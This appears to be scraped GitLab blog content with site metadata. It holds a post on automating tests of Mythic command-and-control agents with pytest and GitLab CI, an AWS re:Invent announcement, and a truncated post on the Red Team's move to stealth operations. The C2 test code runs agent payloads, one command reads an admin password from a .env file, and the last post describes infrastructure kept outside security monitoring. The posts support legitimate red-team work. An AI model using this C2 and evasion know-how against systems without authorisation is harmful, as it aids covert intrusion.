rapid validation of updates to Mythic or Mythic-compatible C2 agents.\n\n## Prerequisites\n\nCurrently, a few prerequisites fall outside the scope of test automation:\n\n- A Linux VM with Mythic, its Python requirements, and the HTTP profile installed. See the [Mythic installation guide](https://docs.mythic-c2.net/installation). We suggest binding Mythic's admin interface to localhost only.\n- A fork of [the ContinuousMage GitLab project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage) in GitLab.com or your own GitLab instance. You'll build on top of this to run your own automation. We highly suggest making this fork private, so you don't expose your test infrastructure or C2 code changes.\n- GitLab Runner installed on the VM (configured with the [shell executor](https://docs.gitlab.com/runner/executors/shell.html)) and registered with your GitLab instance. See the docs on [installing](https://docs.gitlab.com/runner/install/) and [registering](https://docs.gitlab.com/runner/register/) a runner or follow the instructions provided when configuring your pipeline later in this blog. You'll assign this runner to your project when we configure CI/CD.\n- Your forked project cloned onto your VM. This allows testing code changes (or new tests) before triggering the pipeline.\n\n## Project structure\n\nThe project contains three main portions that we will detail in this blog post:\n\n1. `pytest` test code for running integration tests for Mythic and Mythic-compatible C2 agents\n2. The source of those Mythic-compatible C2 agents, as git submodules\n3. The GitLab CI/CD pipeline configuration that ties it all together\n\n## Part 1: pytests\n\n[pytest](https://docs.pytest.org/en/7.4.x/) is a framework for writing tests in Python. We can leverage pytest to do integration testing of Mythic since it has its own [Python package](https://pypi.org/project/mythic/). The test suite goals are:\n\n1. Be simple and atomic.\n2. Provide adequate coverage to validate tool readiness.\n\nWe'll walk through a simple test verifying an agent can run the `ls` command, highlighting key code sections for customization.\n\n### Implementation\n\n#### pytest file\n\nWhen run on a directory, `pytest` automatically discovers tests in files prefixed with `test_` and test functions starting with `test_`. Our tests are asynchronous, needing the `pytest.mark.asyncio` decorator, because the Mythic APIs we are testing are asynchronous. If your machine is missing test dependencies, run `python3 -m pip install mythic pytest pytest-asyncio`.\n\nA test function skeleton is as follows:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    # Will do the test here\n    continue\n```\n\n#### The GlMythic class\n\nThe `GlMythic` class wraps Mythic APIs for ease of use in testing. Because its `init` function is async, a coroutine creates the object:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    glmythic = await gl_mythic.create_glmythic()\n```\n\nBy default, it connects to the Mythic DB using the `MYTHIC_ADMIN_PASSWORD` environment variable and is configured to test the agent specified via the `AGENT_TYPE` environment variable. We will set these in the CI/CD config later.\n\n#### Interacting with Mythic via GlMythic\n\nWe'll include the remainder of the test code here, with comments, and then discuss the most important parts.\n\nAs a reminder, one of the key goals of this project was to make completely atomic tests. Each test only relies on a running Mythic server with the specific agent and HTTP containers loaded. As the test suite grows, it may be worth running a secondary set of tasks that relies on an already-existing agent connection. Currently, every test creates, downloads, and executes a new agent.\n\n### Test and deploy\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n\n    glmythic = await gl_mythic.create_glmythic()\n\n    # Unique payload_path per test\n    payload_path = \"/tmp/test_agent_ls\"\n\n    # Wraps agent create, download, and execute\n    proc = await glmythic.generate_and_run(payload_path=payload_path)\n\n    # Wait for callback\n    time.sleep(10)\n\n    # Uses the display_id field to determine most recent callback\n    # Assumes that the most recent callback is the one created by this test\n    callback = await glmythic.get_latest_callback()\n\n    # Issue the ls command, blocking on output\n    output = await mythic.issue_task_and_waitfor_task_output(\n        mythic=glmythic.mythic_instance,\n        command_name=\"ls\",\n        parameters=\"\",\n        callback_display_id=callback[\"display_id\"],\n        timeout=20,\n    )\n\n    # Clean up (no longer need the agent)\n    proc.terminate() \n    os.remove(payload_path)\n\n    # If the ls failed, there will be no output\n    # This test could also look for files in the repo (where the agent runs)\n    assert len(output) > 0\n\n```\n\nThe longest running portion of this test will be the call to `generate_and_run`, as agent builds within Mythic can take from seconds to minutes or even hang altogether. For your initial set of tests, sign in to the Mythic server and watch the **Payloads** screen for potential issues. In our testing, agent builds failed to complete around 5% of the time, depending on the agent. If you experience repeated build failures, reload your agent container with `sudo ./mythic-cli install folder \u003Cagent_directory> -f`.\n\nTo run the tests, run `pytest \u003Ctestfile_directory>`.\n\n## Part 2: Agent source as submodules\n\nBecause Mythic agents are often updated, we include the agent repos as git submodules in our test project. This allows us to update to new agent versions when they are released and use our project's version control to keep tool versions static for known good builds. These submodules are all located in the `agents` folder.\n\nWe'll discuss adding more agents to this project later in this blog.\n\n## Part 3: GitLab CI/CD pipeline\n\nNow that you have working pytests, you can automate your tests to run whenever you want. In our case, we chose to run our tests on merge requests and tagged commits (which are likely to be tool releases). We will be using [GitLab CI/CD pipelines](https://docs.gitlab.com/ee/ci/pipelines/) to perform our automated tests.\n\n### Configuring the pipeline\n\nNow is the time to set your GitLab CI/CD settings. To find these settings, go to your repository -> `Settings` -> `CI/CD`.\n\nThe first setting you'll want to set is your `Runner`. If you set up a runner as one of your prerequisite steps earlier, you can assign it here. If not, click `New project runner` and work through that process to create and set up your runner on your Mythic server. When you are prompted to choose a runner type on install, choose the [shell executor](https://docs.gitlab.com/runner/executors/shell.html). If your team uses shared runners for other CI/CD pipelines, you will want to make sure that shared runners are disabled for this project, given that your shared runners are unlikely to be able to talk to Mythic directly.\n\n![runner-settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/runner-settings.png)\n\nNext, you need to set your `Variables`. The `GlMythic` class uses the `MYTHIC_ADMIN_PASSWORD` environment variable to be able to actually sign into Mythic, so you need to make sure that the pipeline runner's environment is set up correctly.\n\nTo do this, click the `Add variable` button and add the `MYTHIC_ADMIN_PASSWORD` variable with the appropriate value. If you don't know your Mythic admin password, on the Mythic server in the directory where you installed Mythic, `cat .env | grep MYTHIC_ADMIN_PASSWORD` will give you the password.\n\nBecause GitLab handles merge requests in a detached state, you need to unclick the `Protect Variable` box, because that would prevent the pipeline from viewing the variable on a merge request otherwise. Because the variable is not protected, any branch committed back to your server can access your CI variables. This may pose a security risk if you allow remote access to your Mythic server (versus binding to localhost) and if you allow arbitrary users to access your repository. For this reason, our public repo does not have the environment variables. We use a private copy to perform testing, and suggest you do the same.\n\nAdditionally, set the `AGENT_TYPE` variable to the name of the agent you want to use. At time of release, valid agent types are `poseidon` or `merlin`. The section about adding more agents to the test suite will go into more detail.\n\nYou can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.\n\nNow that the pipeline is configured to use the runner and pick up the environment variables that you need, the only thing left to do is to set up your pipeline. This step is quite simple: If you add the `.gitlab-ci.yml` file to the root of your repository, GitLab will pick that up as the pipeline config on your next commit. Here is our example pipeline, which we will explain momentarily.\n\n```yaml\ninstall:\n  stage: install\n  script:\n    - sudo /opt/Mythic/mythic-cli install folder \"${CI_PROJECT_DIR}\"/agents/\"${AGENT_TYPE}\" -f\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n\ntest:\n  stage: test\n  script:\n    - pytest \"${CI_PROJECT_DIR}\"/mythic-test\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n```\n\nAll of the variables set above are made available by GitLab as part of every pipeline. This pipeline has two stages, `install` and `test`. Both stages are set to only run on merge requests or if the commit being evaluated has a specific tag. The `install` stage will install your C2 agent into Mythic using its local folder install. This makes sure that the Mythic server has your latest C2 code changes installed. Next, the `test` stage runs the set of pytest tests that we created. The `install` stage will run very quickly, and the `test` stage will run a little more slowly, given that it's doing the work of creating and interacting with Mythic agents.\n\n### Pipeline in action\n\nYou can do a couple of things to validate that your pipeline is working. First, if you are performing a merge request, there will be a section at the beginning of the merge request that will link to the pipeline. The screenshot below shows that the pipeline has passed, but you can click into the pipeline by clicking on its number even when it's running.\n\n![Pipeline passing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/merge-pipeline-pass.png)\n\nYou can then click into the stage that's running (or one that has already run) to view its output.\n\n![Pipeline task output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/pipeline-task-output.png)\n\nAnd there you are! You now have working `pytest` tests for a Mythic agent that run every time you make a merge request.\n\n## Adapting for other agents\n\nWe tested our test suite against Poseidon and Merlin. Although the initial tests (generate, download and exec, ls) work the same for both agents, Poseidon and Merlin require different parameters for their `upload` commands. Unfortunately, this means that not all tests will be agent agnostic.\n\nAs a result, each `GlMythic` object that is created is told what type of agent it is testing. The coroutine for creating an object allows you to pass in the agent type as a variable, and defaults to using the `AGENT_TYPE` environment variable to determine which agent is being tested.\n\n```python\nasync def create_glmythic(  username=\"mythic_admin\",\n                            password=os.getenv(\"MYTHIC_ADMIN_PASSWORD\"),\n                            server_ip=\"127.0.0.1\",\n                            server_port=7443,\n                            agent_type=os.getenv(\"AGENT_TYPE\")):\n```\n\n### Agent source\n\nTo add more agents for testing, the first thing to do is to import your agent as a git submodule:\n\n```bash\ncd agents\ngit submodule add \"${URL_TO_YOUR_AGENT}\"\n```\n\nCommit your changes, and your agent is tracked as part of the repo.\n\n### Test compatibility\n\nYou'll need to validate that existing tests work with your agent. For tests to work, the parameters passed to the commands must match those in the test suite, with `upload` to be most likely to fail.\n\nThis is okay! Within the `test_agent_upload` test function, you'll see example code that specifies a different upload command for Merlin and Poseidon. Simply follow this structure for your own agent, passing your agent's parameters to the `mythic.issue_task_and_waitfor_task_output` function call.\n\nIf you are using another open source C2 and are unsure of the correct parameters to pass, you can use the Mythic UI. Interact with one of your agents and run the `upload` command to see what params you need to pass. If you do this for Poseidon, it will look like the following:\n\n![upload-parameters](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/upload-parameters.png)\n\nOur test suite should be pretty easy to add to any Linux-based Mythic agent that supports the [HTTP C2 profile](https://github.com/MythicC2Profiles/http). Because the GitLab Runner installs the agent into Mythic (and Mythic is made to run on Linux), the runner is expecting to be on a Linux machine. Additional effort and test modifications will be required to run the test suite against a Windows or MacOS agent.\n\n## A quick win\n\nAs we worked on this project, we were continuously running our test suite against both Poseidon and Merlin. Unexpectedly, in early October 2023, our test for Poseidon's `upload` function started to fail. After a quick investigation, we identified that a bug had been introduced, present in Poseidon 2.0.2, that caused file uploads to fail.\n\nWe took our information to one of the Poseidon developers, Cody Thomas ([@its_a_feature_](https://twitter.com/its_a_feature_)), and he quickly identified the underlying issue and [fixed the problem](https://github.com/MythicAgents/poseidon/commit/83de4712448d7ed948b3e2d2b2f378d530b3a42a).\n\nThis highlights the usefulness of continuous testing. Instead of running into a potential bug during a Red Team exercise, we identified the issue beforehand and were able to report the bug so the issue was fixed.\n\nWe sincerely thank the Mythic, Merlin, and Poseidon developers for open sourcing their hard work. Many Red Teams around the world are able to perform high-quality security assessments in part because of the hard work of C2 developers who open source their tools. We also want to specifically thank Cody Thomas for addressing this bug within 20 minutes of notification. His responsiveness and attention to detail are unmatched.\n\n## Share your feedback\n\nThis post has demonstrated both the value of continuous testing and shown how to implement continuous testing for your own use, using GitLab. If you have worked alongside these examples, you've implemented some continuous testing for the Mythic framework and have tests that you can use for Merlin, Poseidon, or your own Mythic agent(s).\n\nAt GitLab, we always seek feedback on our work. If you have any questions or comments, please open an issue on [our project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage). You can also propose improvements via a merge request. We believe that everyone should be able to contribute, so we welcome any contributions, big or small.\n\n> [Try GitLab Ultimate for free today.](https://gitlab.com/-/trials/new)\n\n## Related reading\n- [Stealth operations: The evolution of GitLab's Red Team](https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team/)\n- [How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely)\n- [Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques](https://about.gitlab.com/blog/gitlab-mitre-attack-navigator)\n- [Monitor web attack surface with GitLab](https://about.gitlab.com/blog/monitor-web-attack-surface-with-gitlab)\n",[674,942,232,696],{"slug":7755,"featured":92,"template":678},"how-gitlabs-red-team-automates-c2-testing","content:en-us:blog:how-gitlabs-red-team-automates-c2-testing.yml","How Gitlabs Red Team Automates C2 Testing","en-us/blog/how-gitlabs-red-team-automates-c2-testing.yml","en-us/blog/how-gitlabs-red-team-automates-c2-testing",{"_path":7761,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7762,"content":7767,"config":7772,"_id":7774,"_type":16,"title":7775,"_source":17,"_file":7776,"_stem":7777,"_extension":20},"/en-us/blog/gitlab-at-aws-re-invent-2023",{"title":7763,"description":7764,"ogTitle":7763,"ogDescription":7764,"noIndex":6,"ogImage":6704,"ogUrl":7765,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7765,"schema":7766},"GitLab at AWS re:Invent 2023","GitLab and AWS have streamlined development and security for DevSecOps teams. Learn how in lightning talks, sessions, live demos, and more.","https://about.gitlab.com/blog/gitlab-at-aws-re-invent-2023","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab at AWS re:Invent 2023\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2023-11-22\",\n      }",{"title":7763,"description":7764,"authors":7768,"heroImage":6704,"date":7769,"body":7770,"category":962,"tags":7771},[1244],"2023-11-22","GitLab will be at AWS re:Invent 2023 in Las Vegas, November 27 to December 1, to demonstrate how the GitLab DevSecOps Platform on Amazon Web Services delivers secure, enterprise-grade AI throughout the software development lifecycle. Stop by Booth #1152 in the Security Zone for [lightning talks, live demos, customer sessions, and more](https://about.gitlab.com/events/aws-reinvent/) all week. \n\nMake sure to [check out our event page and calendar](https://about.gitlab.com/events/aws-reinvent/) to find sessions, locations, opportunities to meet with GitLab, and more (note, they do not appear in the AWS event app). Some sessions will also be available on-demand after the conference.\n\nHere are some of the lightning talks GitLab will be presenting:\n\n**Frictionless developer experience: Using human habits to accelerate DevSecOps maturity and increase joy**\n\nGitLab’s long-standing approach to building DevSecOps pipelines aligns with AWS’ new emphasis on frictionless developer experiences. Join this session to learn how the GitLab DevSecOps platform represents a true “shift left” by empowering and streamlining developers’ normal workflow.\n\n[Add to calendar - Nov. 30](https://content.gitlab.com/viewer/65412018ca9e0b9d4b50acb2?iid=654966e4f2269af78f005ba1)\n\n**New integrations and solutions for using GitLab and AWS together**\n\nIn recent months, AWS and GitLab have built new service integrations for source control, CI, and CD. You'll learn how GitLab integrates with AWS CodeStar Connections, Amazon CodeGuru, OpenID, and more, as well as development and deployment solutions for Serverless.com Framework and Terraform to AWS.\n\nAdd to calendar\n* [Nov. 28](https://content.gitlab.com/viewer/65412018ca9e0b9d4b50acb2?iid=654144eef011a50313dc7113)\n* [Nov. 29](https://content.gitlab.com/viewer/65412018ca9e0b9d4b50acb2?iid=654942dfef8fa23b213f0eca)\n* [Nov. 30](https://content.gitlab.com/viewer/65412018ca9e0b9d4b50acb2?iid=65494b66a0b8daf9ca33a386)\n\n**Secure and assured Terraform development using GitLab security scanning policies and managed DevOps environments**\n\nThis lightning talk discusses and demonstrates working example code that extends GitLab's existing support for Terraform State management with full lifecycle-managed DevOps environments for merge requests, long-lived pre-production environments, production environments, and one-off experimental environments. Whether you are developing infrastructure as code specifically or embedding it with application code for the sake of easy environment support, this lightning talk has something to offer you.\n\n[Add to calendar - Nov. 28](https://content.gitlab.com/viewer/65412018ca9e0b9d4b50acb2?iid=654961043165b6f013635639)\n\n**Secure GitLab CD pipelines to AWS with OpenID Federation, OIDC, and JWT**\n\nGitLab has three ways to authenticate and authorize your CI and CD workloads into AWS environments. Adding and refining OpenID provides the ability to use an industry standard, which is the most advanced of the three. Join us to learn how to accomplish this highly secure integration option.\n\n[Add to calendar - Nov. 29](https://content.gitlab.com/viewer/65412018ca9e0b9d4b50acb2?iid=6549580763edc0caa46ea061)\n\n**Security intelligence through full integration of Amazon CodeGuru Security into GitLab**\n\nAWS CodeGuru Security has created a full integration that enables you to view scanner results in GitLab merge requests and security dashboards so you can use them to block merges in security policy merge approval rules — just like GitLab’s integrated security scanning results. Attend this lightning talk to learn more.\n\n[Add to calendar - Nov. 28](https://content.gitlab.com/viewer/65412018ca9e0b9d4b50acb2?iid=654953f963edc0cdbf6e8c6f)\n\n## GitLab and AWS: The year in review\nThroughout 2023, GitLab and AWS announced partner designations and new service integrations that enable development, security, and operations teams to collaborate more easily, to take advantage of AI at all stages, and to flexibly scale infrastructure to create and deploy secure software faster. \n\n#### AWS recognized GitLab as a partner in several categories\n\n- **AWS DevSecOps Partner Competency Specialty:** This specialty denotes that GitLab makes it easy for customers to [integrate security across every stage](https://about.gitlab.com/blog/aws-devsecops-competency-partner/) of the development and delivery cycles, providing rapid and contextual feedback to development, security, and ops teams.\n\n-  **Amazon Linux 2023 Ready Partner:** Amazon Linux 2023-specific RPM packages are available for GitLab, starting at [Version 16.3.0](https://docs.gitlab.com/ee/administration/package_information/supported_os.html) and for GitLab Runner. Official GitLab support for Amazon Linux 2023 also means GitLab builds the RPM packages and hosts them on our packages infrastructure, Graviton (arm64) and amd64 architectures are both supported. To install GitLab on Amazon Linux 2023, [follow these instructions](https://about.gitlab.com/install/#amazonlinux-2023). \n\nLearn more about [GitLab's AWS partner designations](https://docs.gitlab.com/ee/solutions/cloud/aws/gitlab_aws_partner_designations.html).\n\n#### AWS CodeStar Connections opens up a host of AWS service integrations\n\nAWS recently completed the integration of GitLab.com SaaS into its AWS CodeStar Connections service. This service is a foundational, shared service used by many other AWS services to connect to Git repositories outside of AWS. As a result, GitLab was immediately available to AWS services once this integration was completed.\n\nGitLab is available at CodeStar Connections throughout many AWS services for connectivity to Git. In addition, using a CodeStar Connection for an AWS CodePipeline opens up other service integrations that primarily rely on CodePipeline as their key integration point.\n\nHere is a visual map of the integrations that are currently available:\n\n![CodeStar Connections integrations](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676883/Blog/Content%20Images/gitlabcodestarconnectionsintegration.png)\n\n#### AI customization with AWS CodeWhisperer\n[AWS CodeWhisperer's customization capability](https://aws.amazon.com/blogs/aws/new-customization-capability-in-amazon-codewhisperer-generates-even-better-suggestions-preview/) leverages CodeSuite Connections, allowing generative code suggestions to take into account the libraries and design patterns of your current application when suggesting new code. It does so with no ingestion of your code into the general LMM creation. AWS CodeWhisperer can be pointed to a GitLab repository. \n\n#### AWS CodeGuru and GitLab Ultimate secure scanning integration\nThe AWS CodeGuru team [built an integration with GitLab CI](https://docs.gitlab.com/ee/solutions/cloud/aws/gitlab_aws_integration.html#scm-integrations) as part of their build secure scanning capabilities. [Amazon CodeGuru Security findings](https://docs.aws.amazon.com/codeguru/latest/security-ug/get-started-gitlab.html) use GitLab’s vulnerability report formatting, enabling exports to integrate directly into GitLab Ultimate security features such as merge request views, security dashboards, and in-context remediation solutions and training. Importantly, it allows these findings to be addressed by GitLab Security Policy Merge Approval Rules. \n\n#### GitLab's new single-tenant Saas option sits atop AWS\nEarlier this year, GitLab launched [GitLab Dedicated](https://docs.gitlab.com/ee/subscriptions/gitlab_dedicated/), a single-tenancy solution for organizations in highly regulated industries that have complex regulatory, compliance, and data residency requirements. The fully isolated SaaS offering is hosted and managed by GitLab and deployed on AWS in a cloud region of the customer's choosing. [Learn more about how GitLab built GitLab Dedicated](https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated/).\n\n## Plan your week at AWS re:Invent\nFill your calendar with GitLab at AWS re:Invent! [Check out our calendar](https://about.gitlab.com/events/aws-reinvent/) of sponsored sessions, lightning talks, live demos, and more throughout the week at Booth #1152.\n",[944,943,479,282],{"slug":7773,"featured":92,"template":678},"gitlab-at-aws-re-invent-2023","content:en-us:blog:gitlab-at-aws-re-invent-2023.yml","Gitlab At Aws Re Invent 2023","en-us/blog/gitlab-at-aws-re-invent-2023.yml","en-us/blog/gitlab-at-aws-re-invent-2023",{"_path":7779,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7780,"content":7785,"config":7790,"_id":7792,"_type":16,"title":7793,"_source":17,"_file":7794,"_stem":7795,"_extension":20},"/en-us/blog/stealth-operations-the-evolution-of-gitlabs-red-team",{"title":7781,"description":7782,"ogTitle":7781,"ogDescription":7782,"noIndex":6,"ogImage":1101,"ogUrl":7783,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7783,"schema":7784},"Stealth operations: The evolution of GitLab's Red Team","We discuss how GitLab's Red Team has matured over the years, evolving from opportunistic hacking to stealth adversary emulation.","https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Stealth operations: The evolution of GitLab's Red Team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2023-11-20\",\n      }",{"title":7781,"description":7782,"authors":7786,"heroImage":1101,"date":7787,"body":7788,"category":674,"tags":7789},[2266],"2023-11-20","At GitLab, our Red Team conducts security exercises that emulate real-world threats. When the team was first formed, these exercises were opportunistic and done in plain sight. As the GitLab Security organization matured, so did our Red Team.\n\nWe now perform a majority of our operations in stealth, meaning that only a small group of team members are aware of the details.\n\nThis blog dives into the steps we took as we matured and lessons we learned along the way. We also share highlights of a recent stealth operation and the value it provided our organization.\n\nIf you're building an offensive security practice, or looking to mature an existing one, you may find some inspiration below.\n\n## Where we started\n\nOur Red Team was formed in July 2019 - about four years ago. We started off as three engineers and one manager spread across the U.S., Australia, and Europe.\n\nBack then, GitLab's security maturity was at an earlier stage. Some of the more advanced capabilities we have in place today were still being planned or improved.\n\nAs newly hired hackers, it was tempting to jump right into emulating advanced threat actors in top-secret operations. But we weren't just hackers - we were a Red Team with a mission to help make our organization more secure. It wasn't just about attacking all the things, it was about identifying and addressing realistic threats.\n\n### Getting to know GitLab\n\nBefore we started hacking, we did the following:\n- Wrote down [what we were doing](https://handbook.gitlab.com/handbook/security/threat-management/red-team/#what-the-red-team-does), [why were doing it](https://handbook.gitlab.com/handbook/security/threat-management/red-team/), and [what rules we would stick to](https://handbook.gitlab.com/handbook/security/threat-management/red-team/red-team-roe/). This was critical to our success, especially as a team that worked asynchronously across time zones.\n- Met with our counterparts in Security Incident Response (SIRT) to understand how they could benefit from an offensive security practice.\n- Met with our counterparts in Engineering and IT to build relationships and help them understand our overall goals and approach.\n- Read. A lot. Documentation, runbooks, architecture diagrams. Whatever we could find to understand GitLab's environment and attack surface.\n\n### Getting to work\n\nFinally, it was time to hack.\n\nWe started out doing what we called \"open-scope\" work, which was similar to a penetration test but without the bureaucracy and boundaries of a typical time-based engagement. We wrote enumeration scripts, scanned publicly exposed cloud resources, and hunted for leaked secrets.\n\nWhen we found something that could be hacked, we hacked it and reported it in an [issue](https://docs.gitlab.com/ee/user/project/issues/) to prevent it from happening again.\n\nAs we noticed patterns emerging, we developed automation to more efficiently find and report them.\n\nThis was great - it reduced risk at GitLab and gave our team a chance to better understand our environment and its risks.\n\nBut it wasn't quite Red Teaming.\n\nWe were finding, exploiting, and reporting vulnerabilities, but we weren't providing GitLab with an opportunity to practice detecting and responding to real-life attackers.\n\n## How we planned to mature\n\nOver time, we found systemic solutions to more and more of the opportunistic findings. A new Vulnerability Management group was formed, taking ownership of our custom scanners and implementing more robust and permanent solutions. Visibility and control over endpoints increased as did the ability to monitor and alert across our entire organization.\n\nAs GitLab's defensive capabilities matured, it became important for the Red Team to do the same. We needed to emulate more advanced attackers and provide more realistic opportunities to detect and respond to these attacks.\n\nWe needed a plan.\n\nWe created a maturity model with unique stages showing where we started, where we were, and where we were headed. Each stage had a list of behaviors the team strived to demonstrate, or states we hoped to achieve.\n\nThis gave us a broad roadmap that we could work towards for the next two-to-three years. Looking back, it was worth the effort. We use the roadmap extensively, leveraging it to guide tricky decisions and to plan quarterly goals that moved us further on our journey.\n\nThe inspiration for our model came from many places, including:\n- The general-purpose [Capabilities Maturity Model](https://en.wikipedia.org/wiki/Capability_Maturity_Model)\n- The [Red Team maturity model](https://www.redteams.fyi) from Jordan Potti, Noah Potti, and Trevin Edgeworth\n- The [Red Team maturity model](https://www.redteammaturity.com/about) from Brent Harrell and Garet Stroup\n\nWe used a GitLab issue board to build the model.\nYou can [read about the logistics and benefits of using an issue board](https://handbook.gitlab.com/handbook/security/maturity-models/) in our handbook.\n\nThis is what our model looks like:\n![maturity-model](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679157/Blog/Content%20Images/maturity-model.png)\n\n## Key milestones along the way\n\nWhen we first wrote our maturity model, we were sitting somewhere in the second column. Moving beyond that would require a big shift - from opportunistically finding and exploiting vulnerabilities to emulating adversaries and providing opportunities for detection and response.\n\nFor us, that path started with Purple Teaming and then moved on to stealth operations.\n\nWe used GitLab epics to make high-level plans for each of these stages. Epics allow you to group individual issues, breaking down long-term projects into actionable tasks.\n\n### Implementing Purple Teaming\n\nPurple Teaming was a pathway to stealth operations. It would give us an opportunity to build and practice our processes transparently and in collaboration with our Blue Team.\n\nWe made a plan to develop these processes and to test them out by conducting a small-scale Purple Team operation. This was done in the context of an OKR (Objectives and Key Results), and took us about three months to complete.\n\nHere is the description from the epic we opened to get started:\n\n> **OKR: Purple Team Foundations & Initial Run**\n>\n> Our SIRT team continues to grow and implement more robust detection and response capabilities. Recently, they have begun to adopt the MITRE ATT&CK framework for classifying attack techniques.\n>\n> These strategies are highly aligned with our own, and build an excellent framework for a more collaborative approach in planning, designing, and executing attack emulations. When both teams are involved in all stages of a campaign, we are more likely to produce an outcome that is actionable and beneficial to the organization.\n>\n> This OKR will allow us to focus on ensuring all of the foundational/logistical pieces are there, and then to execute a smaller controlled operation to make sure we got it right.\n\nAt a high-level, the OKR contained the following tasks:\n- Meet with various teams at GitLab to discuss what we were trying to accomplish, how we would work together across timezones, what rules we should put in place, etc.\n- Plan for specific changes/additions to our handbook to capture the results of those discussions.\n- Collaborate across teams to plan and execute a small operation using these new processes.\n\nWhen the quarter was complete, we had the following to show for it:\n- [Purple Teaming at GitLab](https://handbook.gitlab.com/handbook/security/threat-management/red-team/purple-teaming/): A handbook page describing our methodology\n- [Red Team issue templates](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates): Public, re-usable templates for planning, executing, and reporting on operations\n- \"[How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely/)\": A blog talking about the how and why we do this work asynchronously across time zones\n\nWe then used those processes and issue templates to plan and execute a small Purple Team operation. The brainstorming stage allowed us to work with our friends in SIRT, identifying recurring security themes and selecting attack techniques that would allow them to improve their detection and response capabilities.\n\nWe replicated a token leak where an attacker leveraged legitimate credentials to establish persistence and move laterally within the GitLab.com environment. This provided an opportunity to test existing security information and event management (SIEM) alerts, validate the ability to locate all malicious activity in log files, and to implement earlier detection and prevention capabilities.\n\nWe made changes to our Purple Teaming processes based on lessons learned. In following quarters, we moved on to full-scale emulation of relevant adversaries using a Purple Team process that was developed and tested in collaboration with groups across our organization.\n\n### Implementing stealth operations\n\nShifting to stealth was a natural evolution from Purple Teaming. We continued to work from our maturity model, operating from the plan that was already established and communicated across the organization.\n\nJust as we did with Purple Teaming, we created an epic to shift to stealth operations by default and aligned it with our quarterly OKR.\n\nThis epic was opened with the following description:\n\n> **OKR:  Improve the maturity of the Red Team by shifting to stealth operations by default**\n>\n> As part of our general team roadmap, we are focusing on maturing the Red Team's processes and procedures this year. This quarter, we will complete various tasks allowing us to shift to a \"stealth by default\" way of performing operations.\n>\n> This will provide the organization a better opportunity to practice detecting and responding to the most relevant and realistic threats.\n>\n> We will do this by:\n>\n> - Refreshing the Red Team Rules of Engagement by collaborating with SIRT and agreeing on processes and procedures.\n> - Researching, documenting, and automating architecture requirements for stealth operations.\n\nWe ended up breaking those two bullet points into separate child epics, as there was a lot of work to do in each.\n\n![child-epics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679157/Blog/Content%20Images/child-epics.png)\n\nThe first child epic, around processes, resulted in output that is mostly public. Some examples are:\n- A short summary of [Stealth Operations](https://handbook.gitlab.com/handbook/security/threat-management/red-team/#stealth-operations) in our general handbook page\n- A new [Stealth Operations](https://handbook.gitlab.com/handbook/security/threat-management/red-team/red-team-roe/#stealth-operations) section in our rules of engagement\n- Example [Stealth Operation Techniques](https://handbook.gitlab.com/handbook/security/threat-management/red-team/red-team-roe/#stealth-operation-techniques) section, also in the rules of engagement\n- Iterations to our [Red Team issue templates](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates)\n\nWe were very transparent with all of these changes. Each change was a merge request, which was visible to everyone at GitLab. We opened a dedicated issue to discuss any concerns and used an all-company Slack channel to invite everyone to provide feedback.\n\nAs an internal Red Team, building relationships across the organization is key to our success. We find that transparency about how we operate helps us maintain this trust.\n\nThe second child epic, around technical research, resulted in outputs that are mostly not public and involved things like:\n- Using \"Attacker VMs\" with Parallels on our corporate laptops. This provides us a space without security monitoring, where we can use commercial VPNs to appear as separate entities when emulating remote attackers.\n- Working with our IT department to acquire our own AWS accounts with exceptions to standard security monitoring. This gives us a space to install our C2 infrastructure, phishing sites, etc.\n- Testing various command and control (C2) frameworks, agents, and redirectors. Designing automation to deploy these environments from scratch with each new operation.\n- Establishing private communication channels and a wiki for Red Team engineers and trusted participants.\n- Testing encrypted secret management tools for temporary storage during operations.\n\n## Results from a recent stealth operation\n\nWith our new tools and processes in place, stealth operations became our default.\n\nOne recent operation began with selecting an attack group that had been in the news for targeting organizations similar to ours. This operation spanned three months - the majority of which was spent on researching the adversary and developing capabilities to emulate them.\n\nWe started with a volunteer from a non-security team at GitLab. They were one of our \"trusted participants\", meaning they were briefed on 